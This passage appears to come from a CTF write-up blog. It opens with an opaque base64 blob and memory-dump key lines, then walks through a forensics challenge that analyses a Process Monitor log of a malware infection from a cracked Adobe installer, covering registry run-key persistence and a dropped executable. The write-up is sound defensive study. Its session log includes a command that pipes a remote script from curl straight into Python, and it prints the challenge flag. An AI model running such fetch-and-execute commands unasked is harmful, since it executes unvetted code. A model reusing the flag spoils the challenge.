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
3012	sihost.exe	0x163540ca970	ENCK	f3PJCq/r5uaQhpvLZQA3vwQKuI8f9T7KBwkJ2J3xXrk=
3012	sihost.exe	0x163540ca970	ENCV	r8d8Z/CEUrokcb2z3SOvVQ==

---SNIP---

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Pretty Malicious Log [Forensics]

Question: I was trying to install the adobe crack and many weird things happened to my PC. Can you analyze the log and figure out what’s going on?

Flag: CSCTF{Pr0cm0n_1s_4_h3lpFul_sy5int3rn4l!_0x22defba1}

We were given a PML file to investigate and several questions to answer.

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└─$ nc pretty-malicious-log.challs.csc.tf 1337
== proof-of-work: enabled ==
please solve a pow first
You can run the solver with:
    python3 <(curl -sSL https://goo.gle/kctf-pow) solve s.AE5X.AAAKy+SG3KoWQV7EClL7k95P
===================

Solution? s.AAA6CbQTcrm1Ny3771vsUdZOIopVexDpHAal0DCYhJJMN6dLCSmoNg/J7/8/gClWJS9ICd+K3Xzo/ZkKygAVFVARClindwX4SFIQUWezFfboozjaOSl8Bo9vG6PFqhl58EiR4M0W/vhA/szeXLGfl/O6FV6s07L7za5MgzIU4B32VhoAmLT1yiHS6Ga8SNWp1MaYq8nAA6x8xd0wOEGRxR8w
Correct

Question 1:
What program produced this log file?
Your answer: procmon
Correct!

Question 2:
How many registry keys got successfully modified by the malware?
Your answer: 13
Correct!

Question 3:
What is the MITRE ID of the persistence technique used by the malware?
Your answer: T1547.001
Correct!

Question 4:
What is the name of the file that is added to autoruns by the malware?
Your answer: mOkkYMEs.exe
Correct!

Question 5:
Which thread ID is responsible to create the environment for malware to run?
Your answer: 5352
Correct!

Congratulations! Here's your flag: CSCTF{Pr0cm0n_1s_4_h3lpFul_sy5int3rn4l!_0x22defba1}

Question 1: What program produced this log file?

Pretty straightforward, PML file was known to be the native format for Process Monitor logs.

Question 2: How many registry keys got successfully modified by the malware?

Since the challenge mentioned cracked Adobe, the logs can be filtered with the PID of adobe.exe. Analyzing the process tree, the malware can be seen dropping 2 other malicious executables into the system while executing other processes simultaneously.

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Filtering for successful registry operations with the PIDs of processes correlating to the malware, the amount of registry changes can be identified.

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Question 3: What is the MITRE ID of the persistence technique used by the malware?

The malware was already identified to drop 2 malicious executables into the registry run keys.

Question 4: What is the name of the file that is added to autoruns by the malware?

Only 1 of the dropped malicious executables managed to be dropped successfully.

flag9

Question 5: Which thread ID is responsible to create the environment for malware to run?

According to the process tree, the parent process of the malware can be identified to be Explorer.EXE. Analyzing the registry operations from Explorer.EXE, one of the log shows a virtual desktop environment being created to most likely run the malware on it. PS: I have no idea why the log was bolded.

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This post is licensed under CC BY 4.0 by the author.